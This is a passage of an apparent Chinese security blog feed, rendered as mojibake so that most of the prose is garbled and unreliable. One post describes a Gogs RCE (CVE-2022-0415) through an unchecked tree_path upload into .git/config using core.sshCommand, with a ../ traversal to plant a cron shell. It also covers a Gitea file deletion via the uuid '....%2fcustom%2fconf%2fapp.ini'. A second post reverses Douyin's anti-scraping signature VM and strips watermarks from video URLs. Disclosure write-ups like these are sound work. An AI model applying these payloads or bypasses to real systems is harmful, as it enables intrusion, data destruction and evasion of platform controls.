<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>path = strings.<span style="color:#d2a8ff;font-weight:bold">ReplaceAll</span>(path, <span style="color:#a5d6ff">"../"</span>, <span style="color:#a5d6ff">""</span>)
</span></span></code></pre></div><p>ææç
§ GitHub Advisory ä¸çæåç»ä»ä»¬åéäºé®ä»¶ï¼å 天åä»ä»¬å°±ç»ä¿®äºï¼å¹¶ä¸åå¸äºæ°ç <a href="https://github.com/advisories/GHSA-8459-6rc9-8vf8">GitHub Advisory</a>ãæ便åé®ä»¶å¤é®äºä¸è½å¦å¨è¿ä¸ª GitHub Advisory ä¸ç»æç GitHub è´¦å·å 个 Creditï¼è¿æ ·æç GitHub Profile ä¸é¢ä¹æä¸ä¸ªå¥½ççå°å¾½ç« äºï¼</p>
<p>对æ¹éäºå个å¤æåé®ä»¶äºï¼æ²¡ç´è¯´ä¸è¡ï¼èæ¯è®©æå» HackerOne ä¸åæ交ä¸æ³¢ï¼ç¶åç»æ Bountyãå¯æ¯…… æ¯èµ·é±ï¼æè¿æ¯æ´æ³è¦è¿ä¸ªå¥½ççå¾½ç« ï¼å¤§å®¶é½æå°±æ没æï¼æ好没é¢åã ððð</p>
<h2 id="å¼å§ä½¿ç¨-huntrdev">å¼å§ä½¿ç¨ huntr.dev</h2>
<p>åæ¥å¨ Twitter ä¸å·å°äº huntr.dev è¿ä¸ªå¹³å°ãä»ä»¬çç®æ æ¯æé« GitHub ä¸å¼æºé¡¹ç®çå®å
¨æ§ï¼åªè¦æ交 GitHub ä¸å¼æºé¡¹ç®çæ¼æ´ï¼ä»ä»¬ä½ä¸ºå¹³å°æ¹å°±ä¼å¸®ä½ è系项ç®çå¼åè
ï¼å¹¶å¨æ¼æ´ç¡®è®¤åç»äºä¸å®ç Bounty å¥å±ï¼çè³è¿è½å¸®å¿ç³è¯· CVEãç»äºç Bounty éé¢å¥½åè·é¡¹ç®ç stars æ°æ£ç¸å
³ãææ¥äºä¸ Cardinalï¼åç°äº¤ Cardinal çæ´é½è½èµä¸ª 10 ç¾åã<del>é£æèªå·±å¾ Cardinal éåæ´èªå·±äº¤ï¼å·¦è踩å³èæ¯ä¸æ¯è½ä¸å¤©ï¼</del></p>
<h2 id="cve-2022-0415-gogs-rce">CVE-2022-0415 Gogs RCE</h2>
<p>æ°å¥½é£æ®µæ¶é´æ é»é请æè¿äº Gogs çç»ç»ä¸ï¼é²èçè¿ç¨ä¸ä»ä¹æå°äº huntrï¼è¯´æè¿æå¾å¤äººéè¿è¿ä¸ªå¹³å°ç» Gogs æ交æ¼æ´è®©ä»ç¡®è®¤ãhuntr ç°å¨ä¹æä¸ºäº Gogs 项ç®æ¨èçæ¼æ´ä¸æ¥æ¹å¼ã
å°±å½çæ huntr çæ交æµç¨äºï¼æç²ç¥å°çäºä¸ gogs çæºç ï¼ç´æ¥å¯¹çå±é©å½æ°ç¡¬æãï¼è¯´æ¯ç²ç¥ä¹ä¸æ¯ï¼ä¹åå CRUD çæ¶å项ç®ç»æé½æ¯åé´ç Gogsï¼çäºæ æ°éäºï¼</p>
<p>ç»æè¿çæ¾å°äºä¸å¤ RCEã</p>
<hr>
<p>æ¶é´è¦åå°å¤§ä¸ä¸å¦æçæåãææ¯ä¸ªå¾æç人ï¼å¹³æ¶å¾å°å¤ç°æ¼æ´ï¼é¤éé£ä¸ªæ´çå©ç¨è¿ç¨å¾å¸å¼æï¼ä¸ç¶æå°±æ¯çä¸ç¼ç½ä¸å¤ç°çæç« å°±ç»æãå°ç®å为æ¢æ认çå¤ç°è¿çæ¼æ´æ°éå±æå¯æ°ã大ä¸æåçæ¶åæçå°åç·åäºä¸ç¯å¤ç° Gitea RCE (CVE-2019-11229) çæç« ï¼å
¶ä¸çå©ç¨è¿ç¨å¾å·§å¦ï¼
éè¿ go-ini åºåå¨ç CRLF æ¼æ´ï¼éé¸å¼å·åºæ¥æ¹åæ¬å° Git ä»åºç <code>.git/config</code> æ件ï¼éè¿è®¾ç½® <code>core.sshCommand</code> åæ°ï¼å¨ Git ä»åºè¢« pull å fetch æ¶ï¼å¯¹åºçå½ä»¤å°ä¼è¢«æ§è¡ï¼ä»èè¾¾å° RCE çç®çãè¿ä¸ª <code>core.sshCommand</code> ç trick æå°ç°å¨è¿å¨ç¨ï¼çç屡è¯ä¸ç½ãå¦æ以åæ人é®æå°è±¡ææ·±çæ¼æ´æ¯åªä¸ªï¼æç»å¯¹ä¼åçæ¯è¿ä¸ªï¼å®å¸å¼æçç¹å¨äºï¼å®å¨ä¸ä¸ªåæ³çæ£å¸¸çæ们æ¥å¸¸é½å¨ç¨çç¨åº ï¼gitï¼ä¸æ¾å°äºä¸ä¸ªå 为æ¶æçé
ç½®ï¼å¯¼è´å¯ä»¥ RCE çæä½ã</p>
<p>Gogs çè¿å¤ RCE æç»çåçä¹æ¯å¦æ¤ãæå¨æ件ä¸ä¼ å¤çå°å
¶ä»ä¸å°ä¸æ¯è¿æ ·å¤çä¸ä¼ æ件çè·¯å¾çã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>dirPath <span style="color:#ff7b72;font-weight:bold">:=</span> path.<span style="color:#d2a8ff;font-weight:bold">Join</span>(localPath, opts.TreePath)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72;font-weight:bold">...</span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Prevent copying files into .git directory, see https://gogs.io/gogs/issues/5558.</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> <span style="color:#d2a8ff;font-weight:bold">isRepositoryGitPath</span>(upload.Name) {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">continue</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#ff7b72;font-weight:bold">...</span>
</span></span><span style="display:flex;"><span>targetPath <span style="color:#ff7b72;font-weight:bold">:=</span> path.<span style="color:#d2a8ff;font-weight:bold">Join</span>(dirPath, upload.Name)
</span></span></code></pre></div><p>å
¶ä¸ targetPath æ¯æåæ件åå
¥çè·¯å¾ãåå段æ件å <code>upload.Name</code> åäºæ£æµï¼é²æ¢å¤å¶æ件è¿å
¥ <code>.git</code> ç®å½ï¼èåå段 <code>dirPath</code> ä¸ç <code>opts.TreePath</code> æ¯æ¥èªç¨æ·ä¼ å
¥çå¯æ§åæ°ï¼è¿ä¸ªåæ°å´æ²¡æ被æ£æµãæ以æ们å¨ä¸ä¼ æ件æ¶æé <code>tree_path=/.git/</code> å³å¯å°æ件ä¸ä¼ è³ä»åºç .git ç®å½ä¸ï¼åç» Gogs ä¼æ¬å° pull + push æ们çä»åºï¼ä½¿ç¨ä¸é¢ç trick è¦ç <code>/.git/config</code> æ件å³å¯å®ç° RCEãå½ç¶ï¼æ们ä¹å¯ä»¥ç´æ¥ <code>tree_path=../../../xxx</code> ç®å½ç©¿è¶åç³»ç»å®æ¶ä»»å¡å¼¹ Shellï¼å©ç¨çæ¹æ³æ°ä¸èæ°ã</p>
<p>ç®å Gogs ç main åæ¯å·²ç»ä¿®å¤è¯¥æ¼æ´ï¼ä¸å¨ææ°åå¸ç 0.12.6 ä¸å¾å°ä¿®å¤ãå
·ä½æ¥å huntr å·²å
¬å¼ï¼<a href="https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902/">https://huntr.dev/bounties/b4928cfe-4110-462f-a180-6d5673797902/</a></p>
<p>ä½ç¦»è°±çæ¯ï¼å¨ huntr æ交æ¥åæ¶ç½é¡µä¸å·²æ确说ææ¤é¡¹ç®ä¼ç»ç³è¯· CVEãä½ç´å°æ¼æ´ç¡®è®¤ä¿®è¡¥åï¼huntr å®æ¹ä¹æ²¡å¨ä½ãæ å¥æåªè½æ¾ huntr 管çåï¼æ趣çæ¯è¿ä¸ªç®¡çåå¨ GitHub huntr ä»åºæäºä¸ª <a href="https://github.com/418sec/huntr/issues/2194">issue</a>ï¼æ±æ¨æ¯å¤©é½æä¸å 人æ¾ä»æå¨ç³è¯· CVEï¼ä»æ³è¦ä¸ä¸ªèªå¨åçæ¹æ¡ï¼åæ¶ææææ¾ä»ç³è¯· CVE ç人å
¨æªå¾æå¨äº issue ä¸ã对没éï¼æä¹è¢«æäºãð¡</p>
<p><strong>ä½ä¸ç®¡æä¹è¯´ï¼ææç»é½å¦æ¿ä»¥å¿å°è·å¾äºç¬¬ä¸ä¸ª GitHub Advisory Creditï¼æè°¢æ é»èå¸ï¼ð¥³</strong></p>
<h2 id="cve-å¾
ç³è¯·-gitea-ä»»ææ件å é¤">[CVE å¾
ç³è¯·] Gitea ä»»ææ件å é¤</h2>
<p>æ交å®è¿ä¸ª RCE åï¼æ第ä¸æ¶é´è¯å®æ¯å»ç Gitea æ¯å¦åå¨ç±»ä¼¼çé®é¢ï¼å¯æ Gitea åé¢æ¹æäºç´æ¥å¯¹ git ç Index çè¿è¡æä½ï¼ç¸å½äºç´æ¥æä½ git æ°æ®åºäºï¼ä¸åæ¯å Gogs ä¸æ ·æ¬å°æ¨¡æç¨æ·æ·»å æ件å add + commit + push çæä½ã
ä½æåæ³èµ· Gitea å欢æ´è±æ´»ï¼å¥æç¨æ²¡ç¨çåè½é½å¾éé¢å¡ï¼æ¯å¦å®å°±æ¯æ Git LFSãå»å»ï¼è¿ LFS ä½ æ»å¾èèå®å®å°ä¸ä¼ æ件äºå§ï¼å¯æ Gitea åäºä¸¥æ ¼çè¿æ»¤ã
æå继ç»æèµ·äºå±é©å½æ°æ¥ï¼åç°ä¸ä¼ åç LFS æ件 Gitea é½ä¼å¯¹æ件åååå¸ï¼ç¶ååæ件ååå¸å 1ã2 ä½ï¼3ã4 ä½ï¼å»ºç«ç®å½ï¼ä½ä¸ºæ件æç»çåæ¾è·¯å¾ãè¿ç§æä½å¨å¾å¤å
管çç³»ç»ä¸é½å¾å¸¸è§ï¼iOS ç CocoaPods å°±æ¯è¿æ ·çã
ä¾å¦æä»¬å¨ Gitea ä¸çæ件åæ¯ <code>48076e66a051950bd5cd7fc489924a5d67865dac</code>ï¼é£ä¹å®å°è¢«åæ¾å¨ <code>48/07/48076e66a051950bd5cd7fc489924a5d67865dac</code> ä¸é¢ãå
·ä½ç代ç å®ç°æ¯è¿æ ·çï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#ff7b72">func</span> <span style="color:#d2a8ff;font-weight:bold">AttachmentRelativePath</span>(uuid <span style="color:#ff7b72">string</span>) <span style="color:#ff7b72">string</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> path.<span style="color:#d2a8ff;font-weight:bold">Join</span>(uuid[<span style="color:#a5d6ff">0</span>:<span style="color:#a5d6ff">1</span>], uuid[<span style="color:#a5d6ff">1</span>:<span style="color:#a5d6ff">2</span>], uuid)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>é£è¦æ¯æä¼ å
¥ä¸ä¸ªæ件å为 <code>....foo</code> ç uuidï¼å®æ¯ä¸æ¯è·¯å¾æ¼æ¥åå°±æ <code>../../foo</code> çæ件ç»å äºï¼ç¡®å®æ¯è¿æ ·çæ~
ä½æ¯ LFS æ件çæ·»å åä¿®æ¹æ¥å£ï¼å¨æä½åé½ä¼æ¥è¯¢ä¸éæ°æ®åºç¡®ä¿è¿ä¸ª uuid åå¨ãä½å¯¹äºå é¤æä½ï¼æ¯ ORM å é¤ä¸ä¸æ°æ®åºçè®°å½ï¼ç¶ååå é¤æ件ãGo ORM çå é¤æä½é½ä¸æ ·çç¹æ§ï¼æ ¹æ¬ä¸ç®¡ä½ <code>WHERE</code> æ¡ä»¶æ¯å¦è½æ¥å°è®°å½è¿è¡å é¤ï¼å äºä¸ªå¯å¯ä¹ç»ä½ è¿åæåãæ好å¨æ§è¡å é¤æä½ååæ£æ¥ä¸ä¸ <code>RowsAffected</code> 确认影åçè¡æ°ã
æ以éè¿æé <code>....%2fcustom%2fconf%2fapp.ini</code> è¿æ ·ç uuidï¼æ们就è½è½»æ¾çå æ Gitea çé
ç½®æ件ãå¯æåªæå¨ç¨åºéå¯åæä¼è§¦åéæ°å®è£
çæä½ãå é¤äº SQLite çæ°æ®åºä¹åªæ¯ç»ä½ 500 æ¥éèå·²ãç®ååæ¯æ²¡æ³å°å¾å¥½çå©ç¨æ¹å¼ã</p>
<p>å
·ä½æ¥å huntr å·²å
¬å¼ï¼<a href="https://huntr.dev/bounties/c5ed8660-a896-4101-b6a7-05772443485b/">https://huntr.dev/bounties/c5ed8660-a896-4101-b6a7-05772443485b/</a></p>
<p>令æä¸å¼å¿çæ¯ï¼Gitea ææå¨æ¥åä¸è¡¨æè¦å¨å客æç« ä¸å¯¹æè¿è¡æè°¢ï¼ä¸è¯¢é®äºæçç¨æ·åï¼ä½æ¯å¨æç»åå¸çæç« ä¸å´æ¼äºãæå¨æ¥åä¸è¯¢é®åä»ä»¬æäºä¸ª PR 说ä¼è¡¥ä¸ï¼ä½æ¯è¿ä¸ª PR ç°å¨å°±å¡å¨é£é没人 review 没人åï¼ä»¥å huntr 说ç帮ç³è¯· CVE å°ç°å¨ä¹æ²¡æ¶æ¯ã</p>
<h2 id="æå说å å¥">æå说å å¥</h2>
<p>æ以è¿ä¸æ¬ºè´èå®äººåï¼ç´å°ç°å¨ï¼æäºè¿ä¹å¤æ´ä¹åï¼æé½æ²¡è½æä¸æ¬¡ç
å¿«çç»åã
CVE å¾æèªå·±ç³è¯·ï¼å®æ¹çæè°¢è¦ä¸æ¯æ²¡æï¼å°±ç®æäºæåä¹ç»æ¼äºãç¶å Cloudflareï¼å 个 GitHub Advisory Credit æ¯ä¼å¤åè¿æ¯æä¹ï¼åä¸ä¸ªé¡¹ç®ä¸ï¼å«äººææ就没æãäº¤äº Hackerone è¿è·ææ°æ¯å天é®æ为å¥è½ RCEï¼ä½ ä¹åé£ä¸ªæ´ä¸æ¯èªå·±å®çé«å± RCE ç¶åèªå·±æ²¡ä¿®å¥½åï¼å¥½å®¶ä¼åæ æ¯å§ï¼
å对对对ï¼ææ¿è®¤æå°±æ¯è¿½åéå©ï¼å°±çä¸è¿äºèæ ç¼¥ç¼çæè°¢åï¼å¾½ç« åãè¿äºå°±æ¯æè·å«äººçå¹é¼çèµæ¬ï¼æ以æå¨æã</p>
<p>åï¼æ¥ä¸æ¥æ空çæ¶åä¼å»å°è¯åæ´ææççå¼æºè½¯ä»¶æ¼æ´ææï¼ä¸æ³ååä¸é¢é£äºçº¯é è¿æ°æåæ人工èç¼çäºãç°å¨èåéå
¶å®å·²ç»æä¸äºé
·ç«çæ³æ³æ³è¦å»åäºï¼å¥ä½èªå·±å¤ªèäºè¿æä¸å°åç½®ç¥è¯å¾å»å¦ä¹ çãä¸è¿è³å°ï¼ä»å¹´è·¨å¹´å®ç年度ç®æ ï¼è·å¾äººçä¸ç¬¬ä¸ä¸ª CVE ç¼å·ï¼ä»¥åä»å¹´ Bug Bounty æ»éé¢è¶
è¿ <del>[å·²å é¤]</del> å
è¿ä¸¤ä¸ªç®æ å·²ç»æåå满å®æäºã</p>
- ææºæåï¼å享 asoul.video ç½ç«èåçæ
äºhttps://github.red/asoul-video-trick/Sun, 28 Nov 2021 05:27:57 +0800https://github.red/asoul-video-trick/<h2 id="a-soul-æ¶ä»£">A-SOUL æ¶ä»£</h2>
<p>æå¨ä»å¹´å
æ份çæ¶å被室åå®å©äºå
³æ³¨äºåç¶ï¼è¿èå¾ç¥äº A-SOULãèµ·ååªæ¯è§å¾è¿ä¸ªç²è²å°ä¸è¥¿ç声é³å¥½å¬ï¼ä¸å²ä¸åä½ï¼å¨æä¹åå强大ï¼æ¯ä¸ªèµæ¬æ¿é±ç ¸åºæ¥ç Vtuberã</p>
<p>åæ¥æééç»ç»å·å°äºå¾å¤ä¸ä¸ªé们æ´çå
¸ä¸å
¸ãçªåæ¶ç¾çè§é¢è®©æç¬å°ææ°ï¼æºå®è§é¢ååç´å¥è¯è®ºåºçåç
å°ä½æãè¿æå¾å¤ä¸å¥åªä¸å¥çäºåï¼å¼¹å¹ä¹å个æ¯äººæãæä¹å¦çè¯è®ºéå¥æªç说è¯æ¹å¼ï¼åç带æç¹æ®æä¹ç emojiã</p>
<p>åæ¨çæ¶åä¸å£ä¸ä¸ªæè¦ç´«ç remakeï¼çå°è·³èå°±å·ç§ãé£æ
+ ð¥µï¼å±æ¥ææå°±å·å¤ç½è§ï¼ä¸è®¸çï¼å°±è¦çï¼æä¸å¥½è¯´ï¼ä¸ä¸ªçæ³ä¸ä¸å®å¯¹ï¼è°¢è°¢è¿å¯¹è´ææå¾éè¦ï¼æ¶å°æ¶å°æ¶å°ï¼ç»ç¶ç¶ç被åï¼å¤§è
¿å«çåäºæï¼ä¸å¯¹åï¼æä¸æ¾æ¥æè¿ç¶ç¶åï¼</p>
<p>ââ å±å®ç»æç©æç½äºã</p>
<p>æå°¤å
¶å欢ç A-SOUL çåå³çè§é¢ï¼åé¢å¾ç¥è¿æ¯åå¨ A-SOUL æåæé³è´¦å·ä¸çï¼æ¯ä¸ªè§é¢æ¶é´çï¼æ å头ï¼çè³æ²¡æ个å®æ´çå§æ
ãä½æ¯æ¯ç«æ¯æ£å¿å
«ç»æçï¼å¨æãæ¶é³ãè¿éé½æ¯ç´æè¦å¥½äºï¼æ³ä¸æ¬¡ç个å¤ãå æ¤æå¨æ³è½å¦å个ç«æ¥æ±æ»ææçåå³çè§é¢ï¼å®æ¶æ´æ°ï¼è®©æç个ç½ã</p>
<p>å æ¤ï¼asoul.video è¯çäºã</p>
<p>å¨å¼å asoul.video çè¿ç¨ä¸ï¼æéå°äºå¾å¤æ趣çé®é¢ï¼å¤§é¨åé®é¢æ¯å´ç»æé³ä¸åèè·³å¨çé£æ§ç¸å
³ï¼èªå·±é»ç äºå¾ä¹
ä¹æ»ç®æ¾å°äº bypass çåæ³ï¼å
¶ä¸æä¸å°å¯åå¯ç¹çå°æ¹ï¼è®©æ们ä¸æ¥æ¥å±å¼……</p>
<h2 id="æåæé³çè§é¢">æåæé³çè§é¢</h2>
<p>ä¸å¼å§æéæ©äºæé³ç½é¡µççæ¥å£è¿è¡æåï¼è°ç¥ç½é¡µçæ¥å£è¯·æ±çæé ååå¤æãå¼å±ä¸¤ä¸ªæ··æ·ç JSï¼ä¸ä¸ªæ¯åèéç¨çåç¬è«ï¼ä¸ä¸ªæ¯æ··æ·çä¹±ä¸å
«ç³è²ä¼¼è¿å¥äºä¸ªèææºçæé³ç½é¡µç JSã
ææ¯æ²¡èå¿å»ä¸ç¹ç¹éäºãä¸ç½æäºä¸ï¼åç°äºï¼</p>
<pre tabindex="0"><code class="language-URL" data-lang="URL">https://www.iesdouyin.com/web/api/v2/aweme/post/
</code></pre><p>è¿æ ·ä¸ä¸ªç®åç APIï¼æ èè¿åè§é¢å
ä¿¡æ¯ + è§é¢ææ¾é¾æ¥ãåªéè¦æ èæ¿æ¢ <code>cursor</code> éåææçè§é¢ç¬åä¸æ¥å³å¯ãä¸åæ¥å¾å¤ªè¿äºå®¹æï¼è®©æ对å
¶äº§çäºæçãè¿ä¹å¯¼è´æåé¢å»éäºè¿ä¸ªæ¥å£<strong>以å</strong>æéè¦çç¾åç®æ³ã</p>
<h2 id="éåæé³èææºç¶å¹¶åµ">éåæé³èææºï¼ç¶å¹¶åµï¼</h2>
<p>ä¸è¿°æå°çæ¥å£ï¼å¨ä»å¹´å¹´åçæ¶åï¼æ¯éè¦å¸¦ä¸ <code>_signature</code> åæ°æè½æ£å¸¸è®¿é®ï¼ä½ç°å¨ä¸ç¥ä¸ºä½ä¸å¸¦ç¾åä¹è¡ãæ以å
¶å®éäºä¸ªå¯å¯ï¼å°±å½å¦æ°ä¸è¥¿äºã</p>
<p><code>_signature</code> çåå§ JavaScript 代ç è§ï¼<a href="https://github.com/wuhan005/douyin_signature/blob/master/vm.js" title="vm.js">vm.js</a>
ç½ä¸å¤§å¤é½æ¯ä½¿ç¨ NodeJS + jsdom è¿è¡è®¡ç®ã</p>
<p>å
¶å®è¿ä¸ª JavaScript 并ä¸å°é¾ï¼å
¶æ¬è´¨ä¸æ¯ç¨ JavaScript å®ç°äºä¸ä¸ªåºäºæ çèææºï¼æä¸æ¹çé£ä¸å ä¹±ä¸å
«ç³çå符串就æ¯è¯¥èææºçæºå¨ç ãä¸é¢æä¸ä¸ªé¿é¿ç forï¼éé¢æå¤ä¸ª caseï¼å°±æ¯ä¸åæä½ç Opcodeã</p>
<p>å°±æ¿å¼å¤´ç <code>gr$Date</code> è¿ä¸æ®µæ¥è¯´ï¼ç¬¬ä¸ä¸ªå符 <code>g</code>ï¼å°å
¶ ASCII ç åå» 32 å³ä¸ºå¯¹åºç Opcodeï¼å³ 103 - 32 = 71ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">71</span><span style="color:#ff7b72;font-weight:bold">:</span>
</span></span><span style="display:flex;"><span> v[x<span style="color:#ff7b72;font-weight:bold">++</span>] <span style="color:#ff7b72;font-weight:bold">=</span> n;
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">break</span>;
</span></span></code></pre></div><p>å
¶ä¸ v æ¯æ们èææºçæ ï¼x æ¯æ 顶æéï¼n å°±æ¯ä»£ç åé¢å£°æç <code>var n = this;</code>ãæ以è¿ä¸ä¸ªæ令çææå°±æ¯å° <code>this</code> PUSH å
¥æ ã</p>
<p>第äºä¸ªæ令 <code>r</code>ï¼åæ ·å°å
¶ ASCII ç åå» 32ï¼å¾å° 82ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">case</span> <span style="color:#a5d6ff">82</span><span style="color:#ff7b72;font-weight:bold">:</span>
</span></span><span style="display:flex;"><span> u(v[<span style="color:#ff7b72;font-weight:bold">--</span>x][f()]);
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">break</span>;
</span></span></code></pre></div><p>ä¹ä¸çï¼è¯ä¹ä¸å°±æ¯å° v ä¸æ 顶å
ç´ å¼¹åºï¼å设è¿ä¸ªå
ç´ æ¯ Xï¼ï¼ç¶åå X è¿ä¸ªä¸è¥¿ç <code>f()</code> å±æ§çå¼ï¼åæè¿ä¸ªä¸è¥¿æ¾å° <code>u()</code> å½æ°éæ§è¡ãé£ <code>f()</code> å <code>u()</code> æ¯å¹²å¥çå¢ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">function</span> u(e) {
</span></span><span style="display:flex;"><span> v[x<span style="color:#ff7b72;font-weight:bold">++</span>] <span style="color:#ff7b72;font-weight:bold">=</span> e
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">function</span> f() {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> g <span style="color:#ff7b72;font-weight:bold">=</span> t.charCodeAt(b<span style="color:#ff7b72;font-weight:bold">++</span>) <span style="color:#ff7b72;font-weight:bold">-</span> <span style="color:#a5d6ff">32</span>,
</span></span><span style="display:flex;"><span> t.substring(b, b <span style="color:#ff7b72;font-weight:bold">+=</span> g)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><code>u()</code> å°±æ¯ç®åç PUSH å
ç´ å
¥æ æä½ã</p>
<p><code>f()</code> ä»åºä¸é£å ä¹±ä¸å
«ç³çæºå¨ç éé¢è¯»åä¸ä¸ªå符ï¼è·åå
¶ ASCII ç 并å 32ï¼ç¶å对æºå¨ç åå符串æªåï¼é¿åº¦å°±æ¯åå读åçæ°å¼çé¿åº¦ãæ以就å¾æäºäºï¼<code>f()</code> å°±æ¯ä»å½åæºå¨ç ä¸è¯»åä¸ä¸ªé¿åº¦ï¼ç¶åååæªåè¿ä¹é¿çå符串ã
ä¸ä¸ä¸ª <code>$</code> ç ASCII ç å 32 çäº 4ï¼æ以ååæªå 4 个å符ï¼ä¹å°±æ¯ <code>Date</code>ã</p>
<p>æ以综ä¸ï¼å°±æ¯å° <code>this['Date']</code> PUSH å
¥æ ï¼ä¹å°±æ¯æ¿å°äº JavaScript éè·åæ¶é´æ¥æç <code>Date</code> å½æ°ã
æä¹æ ·ï¼æ¯ä¸æ¯è¿ç®å®¹æç解ï¼æ以 <code>gr$Date</code> è¿ä¸æ®µæºå¨ç çå¹²çäºæ
å°±æ¯æ <code>this.Date</code> å½æ° PUSH å
¥æ ãåé¢çè¯å
¶å®è¿ä¼æ§è¡è¿ä¸ª <code>Date()</code> å½æ°è·åå½åæ¶é´ççã</p>
<p>æ们åªéè¦å¨æ¯ä¸ª case åæ¯ä¸ï¼<code>console.log</code> æå°ä¸ä¸å½åæ§è¡çæ令çåºå·ï¼ä»¥åå
容ï¼è¿æä¸ä¸æçåéã对çè¿è¡åç log æ
¢æ
¢åæï¼å°±è½çæä¸é¢ç代ç ä»åäºä»ä¹ã</p>
<p>éååç代ç è§ <a href="https://github.com/wuhan005/douyin_signature/blob/master/douyin_signature.js" title="douyin_signature.js">douyin_signature.js</a>
大è´åç为è·åå½åæ¶é´ä¸æµè§å¨ UAï¼ç¶å对æ¯ä¸ªå符é½æ¾å
¥é£ä¸ªå¾ªç¯éè·ä¸éå³å¯ã
å
¶ä¸ç¨å°çåç¬è«æ段ï¼æ¯è¿ç¨ä¸ä¼è°ç¨æµè§å¨ç Canvas API è¿è¡ä½å¾ï¼å¹¶å¨å¾çä¸åä¸ <code>é¾à¸à¸ ê²½</code> è¿äºä¸ªå¾å¤æçæåï¼å¹¶å° Canvas ç»åºæ¥çå¾ä½ä¸ºå¸¸æ°ç¨å¨å¾ªç¯ä¸ãå¦æä½ åªæ¯ç®åå°ä½¿ç¨ NodeJS ç¯å¢èéæµè§å¨æ¥è¿è¡ï¼å°±ä¼å 为 Canvas API è¿å NULL è计ç®åºä¸ä¸æ ·çç»æã
å 为æ¯æ¬¡ç»çå¾çé½æ¯ä¸æ ·çï¼å
¶å¾åºå¸¸æ°ä¹å°±é½æ¯ä¸æ ·ç <code>311735490</code>ï¼æå¨æµè§å¨ä¸è¿è¡è·è¿ä¸æ¬¡åï¼å°è¿ä¸ªå¸¸æ°ç´æ¥æ¾è¿éååç代ç ä¸å³å¯ã</p>
<p>ä¸ç®¡æä¹è¯´ï¼è³å°å¦å°äºæ°ä¸è¥¿ãè¿å¥è¿æ¶çèææºä¹å¯ä»¥è¯çæ¹è¿ä¸ï¼æ¾å°å
¬å¸ç产åä¸è¿è¡åç¬è«çé£æ§ãå±æ¶å°±çµæ¯å°å¦ä½å° JavaScript æ£åç¼è¯æèææºçæºå¨ç äºã</p>
<h2 id="è·åè§é¢--å°é¢å¾çç´é¾">è·åè§é¢ + å°é¢å¾çç´é¾</h2>
<h3 id="ç®ç®ååå»ä¸ªè§é¢æ°´å°">ç®ç®ååå»ä¸ªè§é¢æ°´å°</h3>
<p>éè¿ä¸è¿°æ¥å£è·åå°çæé³è§é¢é¾æ¥ï¼å¨ <code>play_addr.url_list</code> ä¸ <code>download_addr.url_list</code> è¿ä¸¤ä¸ªå段ä¸ãå
¶ä¸ <code>play_addr.url_list</code> 带æä¸å å¯å¯éº»éº»çä¸æçåæ°ï¼ä¿ä¸é½å
¶ä¸åªä¸ªå°±æ¯ä¸ä¸ªç¾åï¼è¿äºä¸å®æ¶é´åé¾æ¥å°±å¤±æäºã
å æ¤æéæ© <code>download_addr.url_list</code> ä¸çè¾ççè§é¢é¾æ¥ãä½è¯¥è§é¢é¾æ¥çè§é¢æ¯å äºæé³æ°´å°çï¼å¾å½±åè§æï¼é£ä¹æä¹å»æ°´å°å¢ï¼
é¾æ¥å½¢å¦ï¼</p>
<pre tabindex="0"><code>https://aweme.snssdk.com/aweme/v1/play/?video_id=v0200fg10000c6c9rq3c77u5tkbhogq0&line=0&ratio=540p&watermark=1&media_type=4&vr_type=0&improve_bitrate=0&logo_name=aweme_search_suffix&source=PackSourceEnum_DOUYIN_REFLOW
</code></pre><p>ç¸ä¿¡èªæçä½ åºè¯¥å·²ç»çåºæ¥äºï¼æä»¬å° URL ä¸ç <code>watermark=1</code> æ¹ä¸º <code>watermark=0</code>ï¼æè
ç´æ¥å»æï¼æ°´å°å°±æ²¡äºãð
å»æå¤ä½åæ°ï¼æ´çåçè§é¢é¾æ¥ä¸ºï¼</p>
<pre tabindex="0"><code>https://aweme.snssdk.com/aweme/v1/play/?video_id=v0200fg10000c6c9rq3c77u5tkbhogq0
</code></pre><p><code>video_id</code> å³ä¸ºè§é¢å
ä¿¡æ¯éçè§é¢ IDï¼è®¿é® URL åä¼ 302 跳转å°å®é
çææ¾é¾æ¥ã</p>
<h3 id="ç®ç®ååç»ä¸ªå¾çç¾å">ç®ç®ååç»ä¸ªå¾çç¾å</h3>
